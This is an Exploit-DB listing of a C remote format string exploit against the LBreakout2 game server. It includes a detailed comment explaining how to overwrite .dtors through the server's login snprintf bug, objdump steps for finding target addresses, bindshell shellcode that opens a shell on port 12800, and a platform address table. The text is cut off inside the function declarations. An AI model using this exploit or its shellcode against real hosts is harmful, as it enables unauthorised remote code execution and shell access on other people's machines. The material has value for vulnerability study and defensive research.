Exploit-DB #22830
Description: LBreakout2 2.x - Login Remote Format String
Type: remote
Platform: linux
Date: 2003-06-24
Author: V9

Exploit:
/*
source: https://www.securityfocus.com/bid/8021/info

It has been reported that lbreakout2 is vulnerable to a format string issue in the login component. This may result in an attacker executing arbitrary code on a vulnerable host.
*/

/*[ lbreakout[2-2.5+]: remote format string exploit. ]*
 * (only v2-2.5-beta1, or greater versions affected)  *
 * by: vade79/v9 v9@fakehalo.deadpig.org (fakehalo)   *
 *                                                    *
 * lbreakout(2) is a common SDL game included, in at  *
 * least packaged form for many linux distributions.  *
 * it can be found on:                                *
 *  http://www.freshmeat.net/projects/lbreakout       *
 *  http://lgames.sourceforge.net                     *
 *                                                    *
 * there exists multiple format string bugs within    *
 * both the client, and the server.  these bugs are   *
 * in the form of snprintf(buf1,len,buf2);            *
 *                                                    *
 * this exploit takes advantage of the initial        *
 * login request, found in server/server.c:           *
 *  446:snprintf( name, 20, msg_read_string() );      *
 *  (the size limit(20) does not make a difference)   *
 *                                                    *
 * the shellcode is placed in net_buffer(1024), in    *
 * memory.  which is used for all initial udp socket  *
 * reading, but is not cleared.  so, the exploit      *
 * works like so: send shellcode(1024 bytes).  then,  *
 * send the format string buffer(64 bytes).  so, the  *
 * events look like:                                  *
 *                                                    *
 *  first packet:                                     *
 *   [1024 bytes (nops+shellcode)]                    *
 *  second packet:                                    *
 *   [64 bytes (format string)]                       *
 *  so, net_buffer(1024) will look like:              *
 *   [64 bytes][960 bytes (original shellcode)]       *
 * (only thing the format string buffer overwrites    *
 * are nops)                                          *
 *                                                    *
 * if you want to add to the platform list, simply    *
 * do as followed:                                    *
 *  ./xlbs -h <hostname> -g                           *
 *                                                    *
 * take the "(true)" pop value given.  now you have   *
 * the pop value to use.                              *
 *                                                    *
 * then, do: objdump -sj.dtors \                      *
 *           /path/to/lbreakout2server                *
 *                                                    *
 * then, take the address given, and add 4 bytes.     *
 * now you have the .dtors address to use.            *
 *                                                    *
 * then, do: objdump -x /path/to/lbreakout2server | \ *
 *           grep net_buffer | grep -v cur_size       *
 *                                                    *
 * then, take the address given, and add ~200 bytes.  *
 * now you have the return address to use.  add ~200  *
 * bytes because it's a shared buffer, and can get    *
 * overwritten by other users, or yourself.  it's     *
 * not likely for a legit packet to be over ~200      *
 * bytes.  the minimum is +64(FMTSIZE) bytes.         *
 *                                                    *
 * i recommend when testing this exploit, using the   *
 * brute force option.  ie: "./xlbs -h host.com -b",  *
 * or using an offset of 24("-d 6"), for .dtors.      *
 *                                                    *
 * also, for when lbreakout2server/lbreakout2 is      *
 * setgid games.  the -D, and -a command line         *
 * arguments both use the same snprintf() method.     *
 * which can also be exploited locally.               *
 ******************************************************/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <getopt.h>
#include <signal.h>
#include <netdb.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <sys/time.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#define CODESIZE 1024 /* 1024 = net_buffer size. */
#define FMTSIZE 64 /* format buffer size. */
#define TIMEOUT 10 /* socket timeouts. */
static char x86_exec[]= /* bindshell(12800), netric. */
 "\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\x66\xb3\x01\x51"
 "\xb1\x06\x51\xb1\x01\x51\xb1\x02\x51\x8d\x0c\x24\xcd"
 "\x80\xb3\x02\xb1\x02\x31\xc9\x51\x51\x51\x80\xc1\x32"
 "\x66\x51\xb1\x02\x66\x51\x8d\x0c\x24\xb2\x10\x52\x51"
 "\x50\x8d\x0c\x24\x89\xc2\x31\xc0\xb0\x66\xcd\x80\xb3"
 "\x01\x53\x52\x8d\x0c\x24\x31\xc0\xb0\x66\x80\xc3\x03"
 "\xcd\x80\x31\xc0\x50\x50\x52\x8d\x0c\x24\xb3\x05\xb0"
 "\x66\xcd\x80\x89\xc3\x31\xc9\x31\xc0\xb0\x3f\xcd\x80"
 "\x41\x31\xc0\xb0\x3f\xcd\x80\x41\x31\xc0\xb0\x3f\xcd"
 "\x80\x31\xdb\x53\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62"
 "\x69\x89\xe3\x8d\x54\x24\x08\x31\xc9\x51\x53\x8d\x0c"
 "\x24\x31\xc0\xb0\x0b\xcd\x80\x31\xc0\xb0\x01\xcd\x80";
struct platform {
 unsigned int pops;
 unsigned long dtors_addr;
 unsigned long ret_addr;
};
struct platform target[]={
 /* { pops,(.dtors addr+4),(net_buffer addr+200). } */
 /* 2-2.5-beta1 source, on redhat7.1. */
 { 14,(0x805b0ec+4),(0x0807c940+200) },
 /* 2-2.5-beta2 source, on redhat7.1. */
 { 14,(0x805b16c+4),(0x0807c9c0+200) },
 /* put more platforms here. */
 { 0,0,0 }
};
unsigned short pt=0; /* default platform. */
char *send_packet(char *,unsigned short,char *,
unsigned int,unsigned short);
char *getfmt(int,int,unsigned int);
char *getcode(void);
void getshell(char *,unsigned short);
void getpops(char *hostname,unsigned short port);
void sendcode(char *,unsigned short,int,int,
unsigned int);
void printe(char *,short);
void usage(char *);
voi